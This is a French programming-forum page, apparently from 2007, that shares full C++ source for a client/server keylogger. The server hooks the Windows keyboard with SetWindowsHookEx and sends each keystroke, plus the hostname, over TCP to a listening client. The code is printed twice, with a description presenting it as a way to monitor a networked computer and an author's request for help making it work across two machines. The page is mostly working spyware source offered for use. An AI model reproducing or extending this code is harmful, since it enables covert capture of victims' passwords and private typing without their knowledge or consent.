|
Trouver une ressource
Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !
KEYLOGGER SERVEUR/CLIENT
Information sur la source
Description
Voici un petit keylogger ( encore un ><) envoyant toute les touches tappées au client. Il ne prend pas en charge les majuscules ( du moin pas encore ). Je me suis inspiré d'un keylogguer classique sur ce site. Pour surveiller un ordinateur en réseau ou autre.
Source
- //Source du Serveur :
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <cstdio>
- #include <cstdlib>
-
- #include <iostream>
- #include <winsock2.h>
-
- #pragma comment(lib, "ws2_32.lib")
-
-
- HHOOK hKeyHook;
-
- SOCKET sock;
- SOCKET csock;
- SOCKADDR_IN sin;
- SOCKADDR_IN csin;
-
- using namespace std;
-
- void displayCharArray(char stringArray[], int size0floatArray);
-
- __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
-
- // Action du clavier et les touches tappées
- if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
- BYTE KeyState[256];
- WORD wBuffer;
- // Récupération des informations
- KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
-
- GetKeyboardState(KeyState);
- // Conversion code > ascii
-
- ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
-
- switch(hooked.vkCode)
- {
- case 9 :{send(csock,"<TAB>",6,0);break;}
- case 13 :{send(csock,"<ENTER>",8,0);break;}
- case VK_BACK :{send(csock,"<delete>",9,0);break;}
- case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
- case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
- case 160 :{send(csock,"<MAJ>",6,0);break;}
-
-
- default : {
- send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
- break;
- }}
-
-
- }
- // Fin du hook Renvoi des messages
- return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
- }
-
-
- // Boucle message
- void Boucle()
- {
- MSG message;
- while (GetMessage(&message,NULL,0,0)) {
- }
- }
-
-
- DWORD WINAPI KeyLogger(LPVOID lpParameter)
- {
-
- HINSTANCE hExe = GetModuleHandle(NULL);
-
- if (!hExe) return 1;
-
- // Demarrage du hook
- hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
-
- // Boucle message
- Boucle();
-
- return 0;
- }
-
- //**************************************************************************
- int main()
- { //*********************************************************************
-
-
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2,0),&WSAData);
-
-
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
-
- sin.sin_addr.s_addr = INADDR_ANY;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(2192);
- //**********************
- HANDLE hThread;
- DWORD dwThread;
- DWORD exThread;
- //**********************
-
- if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
- cout << "Problème de connection";
- system("PAUSE");
- return 1;}
- if (listen(sock, 0) == SOCKET_ERROR){
- cout << "Port déjà utilisé";
- system("PAUSE");
- return 1;}
- char FAR buffer[64] ;
-
- while(true)
- {
-
- int sinsize = sizeof(csin);
- if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
- {
- gethostname(buffer, sizeof(buffer));
- send(csock,buffer,sizeof(buffer),0);
- send(csock," // Keylogguer Actif : ",22,0);
- cout << "On" << endl;
- hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
-
- if (hThread) {
-
- return WaitForSingleObject(hThread,INFINITE);
- } else {
-
- return 0;
-
- }
-
- }
-
- closesocket(sock);
- WSACleanup();
- }
- }
-
- //CLIENT
- #include <cstdio>
- #include <cstdlib>
- #include <iostream>
- #include <winsock2.h>
-
- #pragma comment(lib, "ws2_32.lib")
-
- using namespace std;
-
- int main(int nNumberofArgs, char* pszArgs[])
- {
- char buffer[1024];
-
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2,0),&WSAData);
-
- SOCKET sock;
- sock = socket(AF_INET,SOCK_STREAM,0);
-
- SOCKADDR_IN sin;
- sin.sin_addr.s_addr = inet_addr("127.0.0.1");
- sin.sin_family = AF_INET;
- sin.sin_port = htons(2192);
-
- connect(sock,(SOCKADDR *)&sin,sizeof(sin));
- int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
- // Boucle infinie réception message
- for(;;)
- {
- int i = recv(sock,buffer,sizeof(buffer),0);
- if (i != false && i != SOCKET_ERROR)
- {
- cout << buffer;
- }
- if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
- if(x == false){
- system("PAUSE");
- return 1; // Si connection inexistante break
- }}
-
-
-
- closesocket(sock);
- WSACleanup();
-
- getchar();
- }
//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
HHOOK hKeyHook;
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
using namespace std;
void displayCharArray(char stringArray[], int size0floatArray);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
// Action du clavier et les touches tappées
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
BYTE KeyState[256];
WORD wBuffer;
// Récupération des informations
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState);
// Conversion code > ascii
ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
switch(hooked.vkCode)
{
case 9 :{send(csock,"<TAB>",6,0);break;}
case 13 :{send(csock,"<ENTER>",8,0);break;}
case VK_BACK :{send(csock,"<delete>",9,0);break;}
case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
case 160 :{send(csock,"<MAJ>",6,0);break;}
default : {
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}
}
// Fin du hook Renvoi des messages
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Boucle message
void Boucle()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
// Demarrage du hook
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
// Boucle message
Boucle();
return 0;
}
//**************************************************************************
int main()
{ //*********************************************************************
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = htons(2192);
//**********************
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
//**********************
if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
cout << "Problème de connection";
system("PAUSE");
return 1;}
if (listen(sock, 0) == SOCKET_ERROR){
cout << "Port déjà utilisé";
system("PAUSE");
return 1;}
char FAR buffer[64] ;
while(true)
{
int sinsize = sizeof(csin);
if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
{
gethostname(buffer, sizeof(buffer));
send(csock,buffer,sizeof(buffer),0);
send(csock," // Keylogguer Actif : ",22,0);
cout << "On" << endl;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 0;
}
}
closesocket(sock);
WSACleanup();
}
}
//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(2192);
connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
int i = recv(sock,buffer,sizeof(buffer),0);
if (i != false && i != SOCKET_ERROR)
{
cout << buffer;
}
if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
if(x == false){
system("PAUSE");
return 1; // Si connection inexistante break
}}
closesocket(sock);
WSACleanup();
getchar();
}
Conclusion
Personnellement je n'arrive pas à établire une connection avec deux ordinateurs, je suis ouvert à toute aide de votre part. Je sais que la déclaration de toute les touches pourrait être évité mais je n'arriver pas à faire autrement. Il y'aura sans doute des améliorations prochainement.
Fichier Zip
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !
Télécharger le zip
Historique
- 05 novembre 2007 23:01:11 :
- Vérification des appels
- 05 novembre 2007 23:29:12 :
- Suppression de code inutile
- 06 novembre 2007 18:24:06 :
- Nouveaux systeme d'envoie des touches tappées, surveillance des connections du clients renforcée : plus le bug du client lorsque l'on coupe le serveur en premier
- 06 novembre 2007 19:06:05 :
- Suppression d'une variable inutile oubliée
Sources de la même categorie
Sources en rapport avec celle ci
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Tutorial - Socket, serveur, client BCPP + GUI [ par NyxArm ]
Bonjours tout le monde, je suis présentement en période d'appretissage du language CPP sur Borland(v.6). Maintenant que j'ai acquis quelque conna
Evènement sur un socket client [ par darsh99 ]
J'aimerais savoir si la méthode utilisée par BlackGoddess pour son serveur (http://www.cppfrance.com/article.aspx?ID=1287) est récupérable pour gérer
Thread et socket besoin de conseil [ par kawito ]
Salut,je desire realiser un client/serveur TCPle probleme est que les fonctions accept et recv sont bloquante.donc cela bloque l'affichage etc...mon p
programmation socket sous linux [ par blazman34 ]
Bonjour à tous !!Voici mon probleme :Je suis en train de programmer une application client serveur sous linux, tout a bien marcher juska présent juska
problème socket sous windows [ par kod32 ]
Voici mon code : (winsock2.h)-----------------------------int main(){ /* inialisation */ WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); /*
client & server [ par Stormy ]
J'ai codé un serveur simple usant de TCP. Comme client j'utilise NetCat. Or, quand NetCat 'ferme', mon serveur ne détecte pas la clôture de la relatio
Qd un Socket reçoit une trame erronée ... [ par valoue ]
Bonjour,Je suis en train de développer una appli client serveur sous VC++, j'utilise des SOCKET.Le client et le serveur communiquent en s'envoyant des
Client/Serveur, encore..... [ par glubust ]
Je veux faire fonctionner une application client/serveur sous UNIX (client) et WINDOWS (serveur).Le programme client envoi une simple requête au serve
connection client serveur avec MFC [ par Spiffou ]
Bonjour à tous,j'avance petit à petit dans la programmation socket, mais je suis confronté à une nouvelle difficulté et j'ai une ou deux question sans
Question socket - Client/Serveur [ par LordBob ]
Bonjour a tous,alors voila je suis en train de developper un petit programme client/serveur... donc tout se passe bien, mon client se connecte parfait
|
Téléchargements
Logiciels à télécharger sur le même thème :
Comparez les prix Nouvelle version
|